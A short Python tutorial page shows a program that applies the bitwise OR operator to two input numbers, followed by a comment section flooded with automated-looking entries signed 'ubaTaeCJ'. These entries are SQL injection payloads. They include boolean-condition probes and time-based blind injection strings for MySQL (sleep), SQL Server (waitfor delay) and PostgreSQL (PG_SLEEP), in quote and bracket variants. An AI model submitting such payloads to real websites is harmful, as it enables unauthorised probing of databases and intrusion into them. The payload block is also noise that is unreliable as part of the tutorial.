# Python Bitwise OR

Python Program to illustrate bitwise OR operator

Sample Input 1 :

1 4

Sample Output 2 :

5

#### Program or Solution

``` num1=int(input("Enter your First Number:")) num2=int(input("Enter your Second Number:")) num=num1|num2 print("After Bit Wise Or: {}".format(num)) ```

#### Program Explanation

1 | anything = 1 0 | 0 = 0

##### ubaTaeCJ
-1 OR 2+921-921-1=0+0+0+1 --
##### ubaTaeCJ
-1 OR 3+921-921-1=0+0+0+1 --
##### ubaTaeCJ
-1 OR 3*2<(0+5+921-921) --
##### ubaTaeCJ
-1 OR 3*2>(0+5+921-921) --
##### ubaTaeCJ
-1 OR 2+61-61-1=0+0+0+1
##### ubaTaeCJ
-1 OR 3+61-61-1=0+0+0+1
##### ubaTaeCJ
-1 OR 3*2<(0+5+61-61)
##### ubaTaeCJ
-1 OR 3*2>(0+5+61-61)
##### ubaTaeCJ
-1' OR 2+528-528-1=0+0+0+1 --
##### ubaTaeCJ
-1' OR 3+528-528-1=0+0+0+1 --
##### ubaTaeCJ
-1' OR 3*2<(0+5+528-528) --
##### ubaTaeCJ
-1' OR 3*2>(0+5+528-528) --
##### ubaTaeCJ
-1' OR 2+150-150-1=0+0+0+1 or 'KMEtmp51'='
##### ubaTaeCJ
-1' OR 3+150-150-1=0+0+0+1 or 'KMEtmp51'='
##### ubaTaeCJ
-1' OR 3*2<(0+5+150-150) or 'KMEtmp51'='
##### ubaTaeCJ
-1' OR 3*2>(0+5+150-150) or 'KMEtmp51'='
##### ubaTaeCJ
-1" OR 2+306-306-1=0+0+0+1 --
##### ubaTaeCJ
-1" OR 3+306-306-1=0+0+0+1 --
##### ubaTaeCJ
-1" OR 3*2<(0+5+306-306) --
##### ubaTaeCJ
-1" OR 3*2>(0+5+306-306) --
##### ubaTaeCJ
if(now()=sysdate(),sleep(15),0)
##### ubaTaeCJ
0'XOR(if(now()=sysdate(),sleep(15),0))XOR'Z
##### ubaTaeCJ
0"XOR(if(now()=sysdate(),sleep(15),0))XOR"Z
##### ubaTaeCJ
(select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/
##### ubaTaeCJ
-1; waitfor delay '0:0:15' --
##### ubaTaeCJ
-1); waitfor delay '0:0:15' --
##### ubaTaeCJ
1 waitfor delay '0:0:15' --
##### ubaTaeCJ
pPlSkqbB'; waitfor delay '0:0:15' --
##### ubaTaeCJ
-5 OR 430=(SELECT 430 FROM PG_SLEEP(15))--
##### ubaTaeCJ
-5) OR 46=(SELECT 46 FROM PG_SLEEP(15))--
##### ubaTaeCJ
-1)) OR 537=(SELECT 537 FROM PG_SLEEP(15))--
##### ubaTaeCJ
DpWOUuwu' OR 411=(SELECT 411 FROM PG_SLEEP(15))--
##### ubaTaeCJ
EkxJgCMb') OR 192=(SELECT 192 FROM PG_SLEEP(15))--
##### ubaTaeCJ
JQJlLdFa')) OR 392=(SELECT 392 FROM PG_SLEEP(15))--